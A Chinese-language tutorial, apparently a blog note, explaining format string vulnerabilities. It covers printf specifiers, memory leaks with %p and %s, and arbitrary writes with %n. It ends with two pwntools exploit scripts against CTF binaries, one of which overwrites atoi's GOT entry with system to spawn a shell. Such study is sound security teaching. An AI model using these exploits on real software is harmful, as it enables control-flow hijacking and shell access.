格式化字符串原理

1.format string

  • print家族函数接受变长的字符串,其中第一个参数就是format string,后面的参数在实际运行中将与之对应
  • format string符号说明
    • %P 将对应的参数解析为地址形式输出
    • %K$P 对应格式化字符串后的第K个参数,并以地址形式输出
    • %K$n 与格式化字符串后的第K个参数对应,将参数解析为一个地址,并取消此次输出,而将已经输出的字节长度写入获取的地址
      • 预调用约定
      • printf的参数按照参数的顺序依次存放在栈上的(32位)
      • 对于64位机,前六个参数存放在相应的寄存器中

2.格式化字符串漏洞

1.内存泄漏(%p)

  • 当format string中的符号个数超过参数的个数时,printf会根据调用约定到,栈上(reg)中取值
  • 因此当我们不向printf提供更多参数时,prinf会打印出栈上本不应该被访问的值

2.任意地址泄漏(%7$s)

  • 类似这样的构造会造成栈上第 7+1 个参数,所在的地址被解析,读取该地址指向的字符串

3. 内存覆盖(%k$n)

  • 需要清楚的是把什么值输出到哪里去?
    - 首先,写入的是%之前的字节数
    
    • 其次写入的目的地是?
      - %n对当前偏移指向的那块空间存储的指针指向的空间写入数字,并取消此次输出
      - 因此,写入的地址为,用户输入的地址des(当然,需要加偏移)
      - 比如说你输入了一个地址,此时会有一个地址(tmp)储存你输入的地址(des),而format string 作为一个参数,在函数栈中是有地址的,而由于格式化符号大于输入参数的个数,因此函数栈中会有很多的地址存储,因此需要通过偏移量找到用户输入的地址(des),并向des指向的空间写入%之前的字节数
      
  • 实现任意地址写入

    • 如何实现向任意地址写入任意字符串?

      • 1
        payload=fmtstr_payload(10,{atoi_got:system_plt})

4.各种格式化字符含义

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

3.实例

1.向got表中写入system的plt地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = process('./pwn5')
elf = ELF('./pwn5')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

#这就是如何向任意地址空间写入任意数据
payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

2.向某个空间写入具体数据

1
2
3
4
5
6
7
8
9
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)

unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()